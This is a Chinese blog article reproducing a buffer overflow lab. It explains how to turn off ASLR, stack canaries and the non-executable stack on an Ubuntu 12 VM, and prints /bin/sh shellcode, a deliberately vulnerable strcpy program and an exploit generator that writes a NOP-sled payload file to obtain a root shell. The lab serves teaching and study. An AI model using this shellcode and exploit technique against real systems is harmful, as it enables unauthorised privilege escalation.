网站首页 > 技术文章 正文
Buffer Overflow Vulnerability Lab
实验目的:掌握缓冲区溢出漏洞原理。
缓冲区溢出定义:程序企图在预分配的缓冲区之外写数据。
漏洞危害:用于更改程序执行流,控制函数返回值,执行任意代码。
漏洞产生原因:不可避免,由于程序存储数据(buffer)和程序(return address)
都在栈上,当存储数据覆盖了控制数据,就会发生缓冲区溢出的可能。
学习目标:
- 通过代码设计和利用缓冲区溢出漏洞获取ubuntu12的root权限。
- 掌握操作系统(linux OS)保护机制,阻止缓冲区溢出攻击。
你可以在ubuntu12虚拟机中完成本次实验,由于ubuntu中存在一些保护机制,
使缓冲区溢出很难实现,为此,我们需要关闭这些保护机制。
- 地址随机化(address space randomization)
堆/栈中的开始地址每次都不一样。
关闭地址随机化
- 栈保护机制(StackGuard Protection)
gcc编译器实现的安全机制,阻止缓冲区溢出漏洞。你可以关闭这种机制,
通过在编译时使用-fno-stack-protector选项。 - 栈不可执行(Non-Executable Stack)
ubuntu12默认栈不可执行,可以通过在编译的时候使用-z execstack选项来使堆栈可执行。
shellcode
shellcode是一段弹出shell的可执行代码,我们需要将这段可执行代码载入内核的buffer中,
通过缓冲区溢出漏洞,跳转到这段可执行代码处,让终端弹出shell。
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
//execve()
//参数1:sh可执行文件在系统中的路径指针
//参数2:数组指针,传递给执行文件
//参数3:传递给执行文件的新环境变量数组
execve(name[0], name, NULL);
}
执行效果与直接在/bin/目录下执行./sh效果一样。
shellcode长什么样?
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
如何让shellcode运行?
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
//注意函数指针
((void(*)( ))buf)( );
}
shellcode汇编代码解读
执行这段程序栈和寄存器中数据:
The Vulnerable Program
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
当badfile文件中内容大小低于缓冲区大小的时候,程序正常。
当文件内容大小超过缓冲区大小的时候,程序异常,发生缓冲区溢出。
exploiting the Vulnerability
利用缓冲区溢出漏洞,实现获取root权限:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
unsigned long get_sp()
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
long* addr_ptr,addr;
int offset = 200;
addr = get_sp() + offset;
addr_ptr = (long*)buffer;
for(int i = 0;i<10;i++)
*(addr_ptr++) = addr;
memcpy(buffer+sizeof(buffer)-sizeof(shellcode),
shellcode,sizeof(shellcode));
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
编译运行程序,即可以获取root权限:
猜你喜欢
- 2024-10-04 Netty:数据传输载体- ByteBuf 详解
- 2024-10-04 JDK源码阅读:ByteBuffer(jdk源码阅读顺序以及优先级)
- 2024-10-04 初级java程序员面试题 项目业务逻辑问题 培训班 基础题 开发
- 2024-10-04 好文推荐:从JVM模型谈十种内存溢出及解决方法
- 2024-10-04 「系列教程」手写RPC框架(2) BIO模型替换成NIO模型学习
- 2024-10-04 详解Java NIO中的Buffer、Channel 和 Selector
- 2024-10-04 Java常见的面试题(java面试常见问题与答案)
- 2024-10-04 「系列教程」手写RPC框架(2) NIO模型学习
- 2024-10-04 java教程、JAVA学习 |JAVA面试题大全(高级)
- 2024-10-04 Java并发编程之NIO简明教程(java并发编程实战 看不懂)
- 10-02基于深度学习的铸件缺陷检测_如何控制和检测铸件缺陷?有缺陷铸件如何处置?
- 10-02Linux Mint 22.1 Cinnamon Edition 搭建深度学习环境
- 10-02AWD-LSTM语言模型是如何实现的_lstm语言模型
- 10-02NVIDIA Jetson Nano 2GB 系列文章(53):TAO模型训练工具简介
- 10-02使用ONNX和Torchscript加快推理速度的测试
- 10-02tensorflow GPU环境安装踩坑日记_tensorflow配置gpu环境
- 10-02Keye-VL-1.5-8B 快手 Keye-VL— 腾讯云两卡 32GB GPU保姆级部署指南
- 10-02Gateway_gateways
- 最近发表
-
- 基于深度学习的铸件缺陷检测_如何控制和检测铸件缺陷?有缺陷铸件如何处置?
- Linux Mint 22.1 Cinnamon Edition 搭建深度学习环境
- AWD-LSTM语言模型是如何实现的_lstm语言模型
- NVIDIA Jetson Nano 2GB 系列文章(53):TAO模型训练工具简介
- 使用ONNX和Torchscript加快推理速度的测试
- tensorflow GPU环境安装踩坑日记_tensorflow配置gpu环境
- Keye-VL-1.5-8B 快手 Keye-VL— 腾讯云两卡 32GB GPU保姆级部署指南
- Gateway_gateways
- Coze开源本地部署教程_开源canopen
- 扣子开源本地部署教程 丨Coze智能体小白喂饭级指南
- 标签列表
-
- cmd/c (90)
- c++中::是什么意思 (84)
- 标签用于 (71)
- 主键只能有一个吗 (77)
- c#console.writeline不显示 (95)
- pythoncase语句 (88)
- es6includes (74)
- sqlset (76)
- apt-getinstall-y (100)
- node_modules怎么生成 (87)
- chromepost (71)
- flexdirection (73)
- c++int转char (80)
- mysqlany_value (79)
- static函数和普通函数 (84)
- el-date-picker开始日期早于结束日期 (76)
- js判断是否是json字符串 (75)
- c语言min函数头文件 (77)
- asynccallback (87)
- localstorage.removeitem (74)
- vector线程安全吗 (70)
- java (73)
- js数组插入 (83)
- mac安装java (72)
- 无效的列索引 (74)